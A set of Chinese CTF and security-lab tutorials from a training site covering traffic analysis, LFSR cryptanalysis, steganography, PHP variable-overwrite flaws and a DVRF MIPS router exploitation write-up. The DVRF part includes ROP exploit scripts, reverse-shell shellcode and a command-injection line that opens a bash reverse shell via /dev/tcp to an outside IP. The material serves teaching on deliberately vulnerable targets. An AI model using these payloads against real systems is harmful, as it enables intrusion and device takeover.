Stegano隐写-流量分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  CTF套路千千万,今天来看看流量分析。 本次实验题目地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。 先来看题,给定的secret文件没有扩展名,我们需要先弄清楚文件的具体格式信息,才好进行更进一步的分析操作,这里使用TrID工具来对其进行识别。打开cmd命令提示符,切换到C:\Stegano\5目录,使用TrID对secret进行识别,如图所示: PCAP文件,这种类型的文件通常为网络通信流量抓包文件,可以使用Wireshark进行分析。我们给文件加上.pcap扩展名,然后使用Wireshark将其打开,就可以看到网络通信数据了,如图所示: 372条通信记录,算是很少很少的了,我们先看一下协议类型,除了TCP和UDP协议之外,更具体的协议大概有:TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析,以FTP协议为例,选中一条FTP通信记录,然后单击右键,在菜单中选择“Follow TCP Stream”,我们看到的信息如图所示: 其中有一个hello.txt文件以及super_secret_message.png文件,这两个文件看起来比较可疑。 我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中,因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析,我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件,现在我们需要将这两个文件的数据提取出来。 通过在Wireshark中对通信流量的分析,我们发现在包的序号为204的地方开始传送hello.txt的内容,在包的序号为312的地方开始传送super_secret_message.png的内容,如图所示: 因此我们可以在204以及312后面的数据包去找,以super_secret_message.png文件为例,我们发现序号为313的数据包的协议为FTP-DATA,选中该条记录之后,邮件选择“Follow TCP Stream”,显示方式选择“Raw”,然后选择“Save As”就可以保存这个PNG文件了,如下图所示: 打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337},分析完毕。 老套路,还是隐写题,只是加了个流量分析,还要了解FTP协议,分析数据。找到突破口,合理的进行提取就可以事半功倍。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF竞赛密码学之 LFSR
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  概述: 线性反馈移位寄存器(LFSR)归属于移位寄存器(FSR),除此之外还有非线性移位寄存器(NFSR)。移位寄存器是流密码产生密钥流的一个主要组成部分。 $GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成,如下图所示。    移位寄存器的三要素: 初始状态:由用户确定 反馈函数:$f(a_1,a_2,...,a_n)$是n元布尔函数,即函数的自变量和因变量只取0和1这两个可能值 输出序列 如果反馈函数是线性的,那么我们称其为 LFSR,如下图所示:    LFSR的输出序列{ $a_n$ }满足: $f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$ $a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$ $a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$ ..... $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 举例: 下面是一个5级的线性反馈移位寄存器,其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$  反馈函数为:$a{5+i} = a{3+i}⊕a_i$,(i = 1,2,...)可以得到输出序列为: 1001101001000010101110110001111 100110… 周期为31。 对于 n 级线性反馈移位寄存器,最长周期为$2^n-1$(排除全零)。达到最长周期的序列一般称为 m 序列 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 (本实验主要介绍了CTFCrypto练习之替换密码,通过本实验的学习,你能够了解CTF竞赛中的密码学题型,掌握凯撒密码破解方法,学会基于频率的替换密码破解方法。) 解决LFSR问题 Part(1) 2018 强网杯 Streamgame1 考点:已知反馈函数,输出序列,求逆推出初始状态 题目: from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用:判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位,bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh 考点: def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作,得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit) 题目已知条件为 flag长度为19bits,mask长度也为19bits. 由LFSR的输出序列{ $a_n$ }满足的条件: $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 可知,输出值$a{n+i}$的结果与c的值相关,即题目中的mask。只有当c的值为1时,$c_1a{n+i-1},...,c_na_i$的值才可能为1 题目中mask中只有第(3,4,5,9,13,14,17,19)位为1,其余都是0(mask这里右边才是第一位,从右往左增大) 现在我们的目的就是为了求出前19位seed的值,而我们已知了seed后面输出序列的值(题目中给的附件key.txt)。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值,即: key = 0101010100111000111 现在需要计算$a{19}$的值,假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算,那么我们将得到输出值为 key[-1]=1。 因为mask中只有第(3,4,5,9,13,14,17,19)位为1,所以线性反馈函数只取这几位对应的a值 1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17]) 得1=$a{19}$^0,得到$a{19}$=1 同理:R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1,求得$a_{18}$=1 第一种方法 #python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18 第二种方法 seed值只可能是0和1构成,所以猜就行了。 from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数,每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask 第三种方法 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str Part(1) 2018 强网杯 Streamgame2 考点:已知反馈函数,输出序列,求逆推出初始状态 题目 from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key"," 解法与 2018 强网杯 Streamgame1不能说是毫不相干,简直是一m0一样 from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp Part(3) [CISCN2018]oldstreamgame 考点:和前面的题目一样都是给出输出序列和反馈函数,求seed(初始状态) 题目: flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010 exp #python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in Part(4) [De1CTF2019]Babylfsr 考点:B-M 算法 题目给了度为256的lfsr,和输出长度为504的输出序列,并提示了FLAG的特征。 在CTFWiki中有介绍道 B-M 算法:如果我们知道了长度为 2n 的输出序列,那么就可以通过构造矩阵来求出 mask,时间复杂度:$O(n^2)$ 次比特操作,空间复杂度:$O(n)$ 比特。 题目: import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas  这题中输出序列只给出了504个值,根据 B-M 算法,我们需要确定512个值 (即长度为2n的序列,n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位,可以得到 256 种 mask 可能值,用这 256 个 mask 恢复出 256 个key 值,再用限制条件筛选出 flag.  #sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000 output: flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}  上面是我关于LFSR学习的一点总结,希望对大家有所帮助,后面会介绍关于LFSR更多的知识点. 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
图片隐写及BinWalk识别隐藏数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  最近学习了图片隐写与音频隐写,这次来一个组合拳练习练习。  本次实验地址为https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214025200001。 首先对内嵌文件数据分析打开stego4.jpg文件,图片里面显示了一段文字MUSTNOTHACK,其他似乎没有什么有用的信息。 我们用binwalk看一下执行python binwalk命令来对stego4.jpg文件进行处理,如图所示: 可以看到里面多了一个7-zip,这说明软件分析出来这个图片里面还有一个压缩包。那我们怎么提取出来呢? 从BinWalk的分析结果可以看出,J其中RAR压缩包的文件偏移地址开始与0x1B8DD,这里我们使用C32Asm将从0x1B8DD开始的所有数据提取出来。打开桌面上的C32Asm工具,选择“文件”、“打开十六进制文件”载入C:\Stegano\4\stego4.jpg文件,然后右键选择“定义选择块”,填入数据块的起始地址为0x1B8DD,结束地址选择“文件结尾”,单击确定就选中数据块了,右键复制数据,然后新建一个十六进制文件,将原有的数据替换为复制的数据,保存即可得到压缩包文件。操作过程如图所示: 这样就得到了一个RAR压缩包文件了。 这个压缩包里面解压出来的flag.7z居然需要密码,p3文件也被隐藏起来了,在cmd中通过dir /AH命令就可以看到,使用attrib -H DO_NOT_LOOKING_HERE.mp3命令去除MP3文件的隐藏属性,如下图所示: 播放MP3文件并不能听到什么有用的信息,我们尝试使用MP3Stego检查文件中使用隐藏了数据,使用MP3Stego的时候需要指定一个密码,这里使用原始图片中显示的MUSTNOTHACK字符串。打开cmd命令提示符,首先切换到C:\tools\MP3Stego\目录,然后执行命令MP3StegoDecode.exe -P MUSTNOTHACK -X C:\Stegano\4\stego\DO_NOT_LOOKING_HERE.mp3,如图所示: 之后我们提取出来一个txt文件,文件内容为INEVERASKEDABOUTTHIS! 把文本内容当成压缩密码输入,得到Flag为VERYEASYSTEGO,即题目要求我们所要寻找的字符串。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
细说变量覆盖那些事
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  前言 最近在挖洞和看一些ctf题目中可以看到一些变量覆盖的知识点,之前对这个方面学习的有点不全面,虽然网上有这方面的文章,但是感觉讲的不是很全面,所以就决定写一篇文章来总结这方面的知识。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID3ec0-232d-4e11-8cb0-52a8620c51ee  (通过该实验,详细了解PHP中变量覆盖漏洞相关的知识。如:$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。) 漏洞原理 变量覆盖是指可以用自己的传参值代替程序原有的变量值。 漏洞寻找 例如下面的函数或者语法使用不当时就会出现漏洞。 $ extract() parse_str() import_request_variables() mb_parse_str register_globals 漏洞解析 这里先分析函数,再分析漏洞。 extract() 原理 extract()函数从数组中将变量导入到当前的符号表。 例如 <?php $a = "eeknight"; $my_array = array("a" => "C","b" => "T", "c" => "F"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 输出: $a = C; $b = T; $c = F 攻击手段 这里先举个例子 <?php $a="echo 'eeknight';"; echo $a; echo "\n"; eval($a); ?> 输出: echo 'eeknight'; eeknight 在上面双引号包裹了单引号,然后通过eval去利用他,就可以直接输出单引号里的东西了。 为什么要说这个东西,因为当你单引号里的东西可以被利用,是不是就可以写什么执行什么了。 怎么利用呢,这时候刚才介绍的extract就发挥作用了。 把上面的例子简单改一下 <?php $a="echo 'eeknight';"; extract($_GET); eval($a); ?> $ 原理 $产生的漏洞主要是因为foreach遍历数组的值,然后将获取的数组键名作为变量,数组中的值作为变量的值。 在这先简单介绍一下foreach和$。 foreach循环只适用于数组,并用于遍历数组中的每个键/值对。 <?php $colors = array("red","green","blue","yellow"); foreach ($colors as $value) { echo "$value \n"; } ?> 输出:red green blue yellow $这里举个栗子 在PHP中,$var表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$var是一个引用变量,用于存储$var的值。 在我看来就是套娃。 <?php $var = "ee"; $var = "eeknight"; echo $var ; echo "\n"; echo $var; echo "\n"; echo "$ee"; ?> 输出:ee eeknight eeknight parse_str() parse_str()把查询字符串解析到变量中。 parse_str(string,array) string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 <?php parse_str("name=eeknight&age=20"); echo $name."\n"; echo $age; ?> 输出:eeknight 20 攻击方式 通过上面的例子,可以想到,如果parse_str()括号是GET,PSOT等之类的,我们是不是就可以直接执行我们要的函数。 mb_parse_str mb_parse_str— 解析 GET/POST/COOKIE 数据并设置全局变量 具体的用法和上面的parse_str()一样。 这里就不多说明了。 import_request_variables() import_request_variables()函数将 GET/POST/Cookie 变量导入到全局作用域中。 <?php import_request_variables("gP", "ee_"); echo $ee_knight; ?> 攻击方式 只要利用了这个函数,就可以直接对里面的变量进行赋值。 register_globals register_globals的意思就是注册为全局变量 当php.ini中register_globals=On时,传递过来的值会被直接注册为全局变量,当为off时,需要到特定的数组中去得到 例子 <?php echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; if ($auth){ echo "hello!"; } ?> ON OFF 这里ON-->OFF的转换时记得重启一下apache。 一些附加说明 为什么echo "\$a = $a; \$b = $b; \$c = $c";这里要加上\呢 解:这些斜杠的的意思就是,让后面的变量失去意义。那么写的是什么就是什么。 parse_str() php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被 addslashes() 转换。 import_request_variables() 该函数在最新版本的 PHP 中已经不支持。 支持的版本:PHP 4 >= 4.1.0, PHP 5 < 5.4.0。 register_globals register_globals从php5.3.0起废弃,并从php5.4.0时移除。 漏洞防御 addslashes() addslashes()在每个双引号(")前添加反斜杠。 使用原始变量,不进行变量注册; 验证变量存在,如果一定要进行变量注册,可以在注册变量前先判断变量是否存在。
Stegano 3个音频隐写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  进入实验地址https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID172.19.104.182014121211154100001。 先看第一类题查看频谱图使用Audacity打开sound1.wav文件。 用Audacity这个工具打开就是因为Audacity提供的强大的音频分析功能,包括波形图、频谱图等各种图形可视化效果。 Audacity默认显示的是音频文件左右两个声道的波形图,我们可以尝试切换到频谱图进行分析,操作步骤为:在Audacity中点击第一个声道的波形图左侧的文件名(这里为sound1),在弹出的菜单中选择“频谱图”,就可以切换到频谱图模式了,如图所示: Get到flag一枚,神奇。 再来看题,使用Audacity打开sound2.wav文件,仔细听其中发出的声音,发现前面半段音频发出的声音很难挺清楚在说什么,而后面半段则可以清晰的听到一段英文发音。 听是不可能听出来的,这里音频可是被反向了,在Audacity中,选择“特效”、“反向”菜单项,然后播放反向之后的音频,如图所示: 处理之后,就可以清晰的听到声音the flag is high_level_encryption,这就是我们所要找的Flag字符串了。 还有一种。 继续看第三种使用Audacity打开sound3.wav文件,发现左右两个声道的波形图完全不一样,其中第一个波形图只在时间轴的中间部分存在一些有规律的小点,而第二个波形图则是正常的声音波形图,如下图所示: 按下键盘左下角的Ctrl按键,同时滚动鼠标滚轮,对波形图进行放大操作,其中第一个波形图放大后如图所示: 这种就是摩尔斯电码,这里考的也是摩尔斯电码,其中较短的波形表示点“.”,而较长的波形则表示横线“-”,而间隔较远的两个波形图则认为是两个不同的摩斯码。因此,第一个声道的波形图可以表示为:..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-. 使用JPK进行解码,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串5BC925649CB0188F52E617D70929191C,如图所示: 注意摩斯码不区分大小写,JPK默认转换为大写形式,所以如果得到的字符串提交不正确,可以尝试转换为小写形式提交。 这道题有3个问题,每一个都要仔细才能得出答案。和上次的隐写题一样,利用工具分析音频,再输入摩斯码就可以得出答案了。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
从DVRF靶机学习固件安全
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  DVRF 项目介绍 该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。 项目地址:https://github.com/praetorian-inc/DVRF 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e  (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。) 模拟环境 主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。 ubuntu 16.04 pwndbg Qemu-static(version 2.11.1) gdb-multiarch attify 3.0 下载地址:https://github.com/adi0x90/attifyos stack_bof_01 获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 : Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见: 直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。 其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分: 调试方法 需要打开几个 terminal 启动不同的命令: 启动 qemu 模拟 -strace 查看 qemu 调试信息,方便观察执行了什么命令 qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa gdb-multiarch gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。 EXP 字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数 # file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload) 命令行执行: sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`" stack_bof_02 和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy : main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址 直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。 查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。 构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。 libc路径:/squashfs-root/lib/libc.so.0 先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 : .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818 接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730 : .text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra 至此 a0 被控制为 1 ,目前 payload 结构为: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra 不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。 mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C : .text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9 解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 : .text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a 最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够…… .text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9 最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32 EXP from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x766ec7 socket_bof 这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。 #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1); 栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51 调试方法 在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。 # terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234 另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。 attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址 曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址 全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。 Stack_bof_02 的 execve('/bin/sh') 能打通 找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口 绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。 反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip 将 ip 地址转换成 16 进制 hex(192)#0xc0 hex(168)#0xa8 hex(1) #0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0 编译一下,编译失败看看是不是 binutils 没装 from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0") 然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的: stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x0 EXP #!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x7730 ''' 0x766ec730: lw ra,40(sp) 0x766ec734: lw s3,36(sp) 0x7 socket_cmd EXP 依次打开终端运行 #terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"` 是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root Uaf_01&heap_overflow 剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。 uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。 heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。 参考文章 https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF Stegano练习之隐写初探
